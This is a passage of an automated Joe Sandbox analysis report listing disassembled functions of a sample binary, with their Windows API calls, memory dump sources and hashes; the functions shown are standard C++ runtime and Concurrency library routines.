                                  • std::invalid_argument::invalid_argument.LIBCONCRT ref: 00A5A0EB
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A5A0F9
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextException@8InternalMarkOversubscribedProcProcessor::ResetRetirementSwitchThreadThrowstd::invalid_argument::invalid_argument
                                  • String ID: count$ppVirtualProcessorRoots
                                  • API String ID: 3409498682-3650809737
                                  • Opcode ID: ae0c8ec593d44b68e6de35229f6176d8b50d588b6cfa5ad0bd4c353f54386d76
                                  • Instruction ID: b019d5ad12cab12cd795e47d859c2d964840944a4a1ef3c6b39c1b251c65c940
                                  • Opcode Fuzzy Hash: ae0c8ec593d44b68e6de35229f6176d8b50d588b6cfa5ad0bd4c353f54386d76
                                  • Instruction Fuzzy Hash: 39217334B10209AFCF14DF95D595AADBBB4BF59355F0041A9E901A7291CB30AE05CB61
                                  Function 00A4F250 Relevance: 15.2, APIs: 10, Instructions: 176COMMON
                                  Download Yara Rule
                                  APIs
                                  • OpenEventA.KERNEL32(00100002,00000000,00000000,215D2A08), ref: 00A4F2F4
                                  • CloseHandle.KERNEL32(00000000), ref: 00A4F309
                                  • ResetEvent.KERNEL32(00000000,215D2A08), ref: 00A4F313
                                  • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00A4F37D
                                  • CloseHandle.KERNEL32(00000000), ref: 00A4F392
                                  • SetEvent.KERNEL32(00000000), ref: 00A4F3A1
                                  • CloseHandle.KERNEL32(00000000,215D2A08), ref: 00A4F3BB
                                  • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,215D2A08), ref: 00A4F412
                                  • CloseHandle.KERNEL32(00000000), ref: 00A4F427
                                  • WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,215D2A08), ref: 00A4F439
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Event$CloseHandle$Create$ObjectOpenResetSingleWait
                                  • String ID:
                                  • API String ID: 3951656645-0
                                  • Opcode ID: 8dce7f3c2efbb1bb2547b4b493853d75999b6174b55f1fd7103b337443a2d89e
                                  • Instruction ID: dbf503dccd8d2a58f9d267bd4a1208751de1d09ff0d9168f17c669f6635c6158
                                  • Opcode Fuzzy Hash: 8dce7f3c2efbb1bb2547b4b493853d75999b6174b55f1fd7103b337443a2d89e
                                  • Instruction Fuzzy Hash: 27617C79D05368AFDF21CFE4C944B9EB7B4AF85714F244269E828AB281C770AD05CB90
                                  Function 00A64AA2 Relevance: 15.1, APIs: 10, Instructions: 69threadCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetCurrentThreadId.KERNEL32 ref: 00A64AB8
                                  • GetCurrentProcess.KERNEL32(?,?,?,?,?,00A5896E,?,?,?,?,00000000,?,00000000), ref: 00A64ACA
                                  • GetCurrentThread.KERNEL32 ref: 00A64AD2
                                  • GetCurrentProcess.KERNEL32(?,?,?,?,?,00A5896E,?,?,?,?,00000000,?,00000000), ref: 00A64ADA
                                  • DuplicateHandle.KERNEL32(00000000,00000000,00000000,00A58A12,00000000,00000000,00000002,?,?,?,?,?,00A5896E,?,?,?), ref: 00A64AF3
                                  • Concurrency::details::RegisterAsyncWaitAndLoadLibrary.LIBCONCRT ref: 00A64B14
                                    • Part of subcall function 00A52DA4: ___crtCreateThreadpoolTimer.LIBCPMT ref: 00A52DB0
                                    • Part of subcall function 00A52DA4: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 00A52DBE
                                    • Part of subcall function 00A52DA4: ___crtSetThreadpoolWait.LIBCPMT ref: 00A52DD0
                                  • GetLastError.KERNEL32(?,?,?,?,?,?,?,00A5896E,?,?,?,?,00000000,?,00000000), ref: 00A64B26
                                  • GetLastError.KERNEL32(?,?,?,?,00A5896E,?,?,?,?,00000000,?,00000000), ref: 00A64B51
                                  • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00A64B67
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A64B75
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Current$Concurrency::details::ErrorLastLibraryLoadProcessThreadThreadpoolWait___crt$AsyncConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateDuplicateException@8HandleReferenceRegisterThrowTimer
                                  • String ID:
                                  • API String ID: 1073306966-0
                                  • Opcode ID: f609eaca638ba3072bed7d8239061387e49387d9aad38ea43631d23fc2fc1483
                                  • Instruction ID: 3a11be9b0a6a684cbf38fb02a296640809b17603186bc292a369bfeadacd519b
                                  • Opcode Fuzzy Hash: f609eaca638ba3072bed7d8239061387e49387d9aad38ea43631d23fc2fc1483
                                  • Instruction Fuzzy Hash: 3811E772644301ABDB10EFB4DD4AFDA7B78AF1A341F040475FA45D6192EB70C90487B5
                                  Function 00A84286 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                  Download Yara Rule
                                  APIs
                                  • _free.LIBCMT ref: 00A8429A
                                    • Part of subcall function 00A84D66: HeapFree.KERNEL32(00000000,00000000,?,00A8D5F8,?,00000000,?,00000000,?,00A8D89C,?,00000007,?,?,00A8DC90,?), ref: 00A84D7C
                                    • Part of subcall function 00A84D66: GetLastError.KERNEL32(?,?,00A8D5F8,?,00000000,?,00000000,?,00A8D89C,?,00000007,?,?,00A8DC90,?,?), ref: 00A84D8E
                                  • _free.LIBCMT ref: 00A842A6
                                  • _free.LIBCMT ref: 00A842B1
                                  • _free.LIBCMT ref: 00A842BC
                                  • _free.LIBCMT ref: 00A842C7
                                  • _free.LIBCMT ref: 00A842D2
                                  • _free.LIBCMT ref: 00A842DD
                                  • _free.LIBCMT ref: 00A842E8
                                  • _free.LIBCMT ref: 00A842F3
                                  • _free.LIBCMT ref: 00A84301
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: _free$ErrorFreeHeapLast
                                  • String ID:
                                  • API String ID: 776569668-0
                                  • Opcode ID: 449c6955c8eca3600aa49de06a0294fdcdb34532c609e63730fe139073db1ca2
                                  • Instruction ID: 1ff3f721ac4012580b5955caa38eb108f1d810525187bb6c0465c2c2a3ad6a3e
                                  • Opcode Fuzzy Hash: 449c6955c8eca3600aa49de06a0294fdcdb34532c609e63730fe139073db1ca2
                                  • Instruction Fuzzy Hash: 8A11B376500109BFDF11FF94CA42CD93BA5EF49750F4181A6FA0A8F222EA31EF509B80
                                  Function 00A4A891 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 266COMMON
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A4A898
                                    • Part of subcall function 009F8DC0: std::_Lockit::_Lockit.LIBCPMT ref: 009F8E09
                                    • Part of subcall function 009F8DC0: std::_Lockit::_Lockit.LIBCPMT ref: 009F8E2B
                                    • Part of subcall function 009F8DC0: std::_Lockit::~_Lockit.LIBCPMT ref: 009F8E4B
                                    • Part of subcall function 009F8DC0: std::_Lockit::~_Lockit.LIBCPMT ref: 009F8F18
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
                                  • String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
                                  • API String ID: 1383202999-2891247106
                                  • Opcode ID: 881295bc45ad639d9f126595865794832c1d38adb1e214686f4e86376c4305b2
                                  • Instruction ID: e311ba4cd8e9adff3582517b6d05f39f133ac86f407261d32b28e772235ee5be
                                  • Opcode Fuzzy Hash: 881295bc45ad639d9f126595865794832c1d38adb1e214686f4e86376c4305b2
                                  • Instruction Fuzzy Hash: F5A16AB954020AEFCF05CF54C942DFE7BBAEF98304F104419F946A6292D7318D61DB61
                                  Function 00A45226 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 266COMMON
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A4522D
                                    • Part of subcall function 00A3B22F: __EH_prolog3.LIBCMT ref: 00A3B236
                                    • Part of subcall function 00A3B22F: std::_Lockit::_Lockit.LIBCPMT ref: 00A3B240
                                    • Part of subcall function 00A3B22F: std::_Lockit::~_Lockit.LIBCPMT ref: 00A3B2B1
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: H_prolog3Lockitstd::_$Lockit::_Lockit::~_
                                  • String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
                                  • API String ID: 1538362411-2891247106
                                  • Opcode ID: eaabdb76d89d0ee55def8a19abb28fe2c61c62289218b0807741935e4d100f33
                                  • Instruction ID: 8e2b8a9cfb4c313495176f059828f49c6106421f9068146b8bdf6a3f8eb91dee
                                  • Opcode Fuzzy Hash: eaabdb76d89d0ee55def8a19abb28fe2c61c62289218b0807741935e4d100f33
                                  • Instruction Fuzzy Hash: 8DA1477990060AAFCF05DF64C952EFF7BBABF88304F10441AF916A6292D771DA10DB61
                                  Function 00A34D70 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 131COMMON
                                  Download Yara Rule
                                  APIs
                                  • QueryPerformanceCounter.KERNEL32(?), ref: 00A34DAA
                                  • GetLastError.KERNEL32(0000000A), ref: 00A34DD5
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A34E16
                                  Strings
                                  • Timer: QueryPerformanceFrequency failed with error , xrefs: 00A34EDB
                                  • Timer: QueryPerformanceCounter failed with error , xrefs: 00A34DF0
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: CounterErrorException@8LastPerformanceQueryThrow
                                  • String ID: Timer: QueryPerformanceCounter failed with error $Timer: QueryPerformanceFrequency failed with error
                                  • API String ID: 651023626-2136607233
                                  • Opcode ID: 5b1a9c81c35f29516f9f56ae263c18b431ff88d2eddfab825133543f18743848
                                  • Instruction ID: a56ab17104a763c7a8b15db98f2dc4e5f9a031f43d7bdf200a408f58fea5ea81
                                  • Opcode Fuzzy Hash: 5b1a9c81c35f29516f9f56ae263c18b431ff88d2eddfab825133543f18743848
                                  • Instruction Fuzzy Hash: 2B413D71A04348EBDB10DFE4DD45F9EB7B8FB08B00F10466AF916AB281DB78A905CB51
                                  Function 00A6C635 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 73COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • UnDecorator::getArgumentList.LIBVCRUNTIME ref: 00A6C655
                                    • Part of subcall function 00A6C53F: Replicator::operator[].LIBVCRUNTIME ref: 00A6C5AB
                                    • Part of subcall function 00A6C53F: DName::operator+=.LIBVCRUNTIME ref: 00A6C5B3
                                  • DName::operator+.LIBCMT ref: 00A6C6AC
                                  • DName::DName.LIBVCRUNTIME ref: 00A6C6F5
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
                                  • String ID: ,...$,<ellipsis>$...$<ellipsis>$void
                                  • API String ID: 834187326-2211150622
                                  • Opcode ID: e13d4145621639adae15acf8745e5bc12c4d2a795e3a26afafc80d789c724779
                                  • Instruction ID: f0458b30e472b392674ad4560f4e516473bfc9175c6b10b628c294d66c2bac4b
                                  • Opcode Fuzzy Hash: e13d4145621639adae15acf8745e5bc12c4d2a795e3a26afafc80d789c724779
                                  • Instruction Fuzzy Hash: A621C0742012449FDB04DF5CD8A0ABA3BF1FB86368F106159E48ADF2A2CF38D942CB54
                                  Function 00A6C8B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • UnDecorator::UScore.LIBVCRUNTIME ref: 00A6C8B8
                                  • DName::DName.LIBVCRUNTIME ref: 00A6C8C2
                                    • Part of subcall function 00A6B218: DName::doPchar.LIBVCRUNTIME ref: 00A6B23F
                                  • UnDecorator::getScopedName.LIBVCRUNTIME ref: 00A6C901
                                  • DName::operator+=.LIBVCRUNTIME ref: 00A6C90B
                                  • DName::operator+=.LIBCMT ref: 00A6C91A
                                  • DName::operator+=.LIBCMT ref: 00A6C926
                                  • DName::operator+=.LIBCMT ref: 00A6C933
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
                                  • String ID: void
                                  • API String ID: 1480779885-3531332078
                                  • Opcode ID: 7c720b3c316594cc81686e1e84d48cfd91a5878523c83b6a18623953289fa431
                                  • Instruction ID: a3b952fd20098d3926b511f6faf5fdc8c97a1849dadd8c19265f3caa34360bc7
                                  • Opcode Fuzzy Hash: 7c720b3c316594cc81686e1e84d48cfd91a5878523c83b6a18623953289fa431
                                  • Instruction Fuzzy Hash: E611C475410204AFDB09EF64C996BBD7BB4EB02750F004599E482AB2E2DB749A86CB60
                                  Function 00A4EAF0 Relevance: 13.8, APIs: 9, Instructions: 258COMMON
                                  Download Yara Rule
                                  APIs
                                  • SetEvent.KERNEL32(00000000,215D2A08), ref: 00A4EB69
                                  • SetEvent.KERNEL32(00000000,215D2A08), ref: 00A4EBC6
                                  • ReleaseSemaphore.KERNEL32(?,?,00000000,215D2A08), ref: 00A4EBDA
                                  • ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 00A4EBFF
                                  • CloseHandle.KERNEL32(?), ref: 00A4EC33
                                  • SetEvent.KERNEL32(00000000), ref: 00A4EC70
                                    • Part of subcall function 009C50A0: CreateEventA.KERNEL32(?,?,?,?,215D2A08,215D2A08,?,00A4FCE2,?,215D2A08,215D2A08,?,?,?,00000000,00000000), ref: 009C50D4
                                    • Part of subcall function 009C50A0: CloseHandle.KERNEL32(00000000,?,00A4FCE2,?,215D2A08,215D2A08,?,?,?,00000000,00000000,215D2A08,215D2A08), ref: 009C50EF
                                  • SetEvent.KERNEL32(00000000,?,215D2A08), ref: 00A4ECF8
                                  • CloseHandle.KERNEL32(?,215D2A08), ref: 00A4ED26
                                  • CloseHandle.KERNEL32(?,215D2A08), ref: 00A4EE03
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Event$CloseHandle$ReleaseSemaphore$Create
                                  • String ID:
                                  • API String ID: 573037752-0
                                  • Opcode ID: 54b374ebee78d517d31dbfce2d064702a219d0ddf6bceaf46358a9e8d14f5e69
                                  • Instruction ID: 8cea747bf3b86a68bb43563491348a297c9b174f260d18158c08a7f02de1224b
                                  • Opcode Fuzzy Hash: 54b374ebee78d517d31dbfce2d064702a219d0ddf6bceaf46358a9e8d14f5e69
                                  • Instruction Fuzzy Hash: 01A1CE79A0020A9FDF14DF68C98476EBBB4FF85314F244258E809AB291D735EE46CBD1
                                  Function 00A8C627 Relevance: 13.7, APIs: 9, Instructions: 209COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: _free$EnvironmentVariable___from_strstr_to_strchr
                                  • String ID:
                                  • API String ID: 1282221369-0
                                  • Opcode ID: 49a5546fab4d635a8570f73434ec3b5951a231ad7cf4da0fbbb3cc20688a2d8a
                                  • Instruction ID: 566de5535da9d851541fbfe4c7b5cfe5c8bef5d1837029b8662f3c51772b3d88
                                  • Opcode Fuzzy Hash: 49a5546fab4d635a8570f73434ec3b5951a231ad7cf4da0fbbb3cc20688a2d8a
                                  • Instruction Fuzzy Hash: 0561E471D04241AFDF21BFB49D81B6E7BA4AF05730F04517EEA459B286EB358901CFA1
                                  Function 00A5A58C Relevance: 13.6, APIs: 9, Instructions: 106timeCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00A5A5AE
                                    • Part of subcall function 00A58978: __EH_prolog3_catch.LIBCMT ref: 00A5897F
                                    • Part of subcall function 00A58978: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00A589B8
                                  • Concurrency::details::SchedulerBase::NotifyThrottledContext.LIBCONCRT ref: 00A5A5BC
                                    • Part of subcall function 00A595D5: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00A595FA
                                    • Part of subcall function 00A595D5: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00A5961D
                                  • Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00A5A5D5
                                  • Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00A5A5E1
                                    • Part of subcall function 00A58978: InterlockedPopEntrySList.KERNEL32(?), ref: 00A58A01
                                    • Part of subcall function 00A58978: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00A58A30
                                    • Part of subcall function 00A58978: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00A58A3E
                                  • Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00A5A62D
                                  • Concurrency::location::_Assign.LIBCMT ref: 00A5A64E
                                  • Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 00A5A656
                                  • Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00A5A668
                                  • Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 00A5A698
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
